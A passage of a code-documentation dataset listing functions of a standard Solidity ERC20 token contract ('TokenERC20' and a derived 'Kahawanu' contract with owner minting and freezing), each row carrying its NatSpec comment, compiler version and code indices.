} | 59,954 |
|||
TokenERC20 | TokenERC20.sol | 0x5684e0bb4798fe5bbe6e0a26254567863fba223b | Solidity | TokenERC20 | contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | transferFrom | function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
| /**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://1a1aceaf2eea1ae268618c36cf9ced606eac1e6a6bf796356d6c2c9fe11ab064 | {
"func_code_index": [
3078,
3379
]
} | 59,955 |
|||
TokenERC20 | TokenERC20.sol | 0x5684e0bb4798fe5bbe6e0a26254567863fba223b | Solidity | TokenERC20 | contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | approve | function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
| /**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://1a1aceaf2eea1ae268618c36cf9ced606eac1e6a6bf796356d6c2c9fe11ab064 | {
"func_code_index": [
3637,
3867
]
} | 59,956 |
|||
TokenERC20 | TokenERC20.sol | 0x5684e0bb4798fe5bbe6e0a26254567863fba223b | Solidity | TokenERC20 | contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | approveAndCall | function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
| /**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://1a1aceaf2eea1ae268618c36cf9ced606eac1e6a6bf796356d6c2c9fe11ab064 | {
"func_code_index": [
4255,
4607
]
} | 59,957 |
|||
TokenERC20 | TokenERC20.sol | 0x5684e0bb4798fe5bbe6e0a26254567863fba223b | Solidity | TokenERC20 | contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | burn | function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
| /**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://1a1aceaf2eea1ae268618c36cf9ced606eac1e6a6bf796356d6c2c9fe11ab064 | {
"func_code_index": [
4771,
5150
]
} | 59,958 |
|||
TokenERC20 | TokenERC20.sol | 0x5684e0bb4798fe5bbe6e0a26254567863fba223b | Solidity | TokenERC20 | contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | burnFrom | function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
| /**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | bzzr://1a1aceaf2eea1ae268618c36cf9ced606eac1e6a6bf796356d6c2c9fe11ab064 | {
"func_code_index": [
5402,
6018
]
} | 59,959 |
|||
TokenERC20 | TokenERC20.sol | 0x5684e0bb4798fe5bbe6e0a26254567863fba223b | Solidity | Kahawanu | contract Kahawanu is owned, TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
/// @param newSellPrice Price the users can sell to the contract
/// @param newBuyPrice Price users can buy from the contract
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/// @notice Buy tokens from contract by sending ether
function buy() payable public {
uint amount = msg.value / buyPrice; // calculates the amount
_transfer(this, msg.sender, amount); // makes the transfers
}
/// @notice Sell `amount` tokens to contract
/// @param amount amount of tokens to be sold
function sell(uint256 amount) public {
address myAddress = this;
require(myAddress.balance >= amount * sellPrice); // checks if the contract has enough ether to buy
_transfer(msg.sender, this, amount); // makes the transfers
msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks
}
} | /******************************************/ | NatSpecMultiLine | _transfer | function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
| /* Internal transfer, only can be called by this contract */ | Comment | v0.4.24+commit.e67f0147 | bzzr://1a1aceaf2eea1ae268618c36cf9ced606eac1e6a6bf796356d6c2c9fe11ab064 | {
"func_code_index": [
601,
1389
]
} | 59,960 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.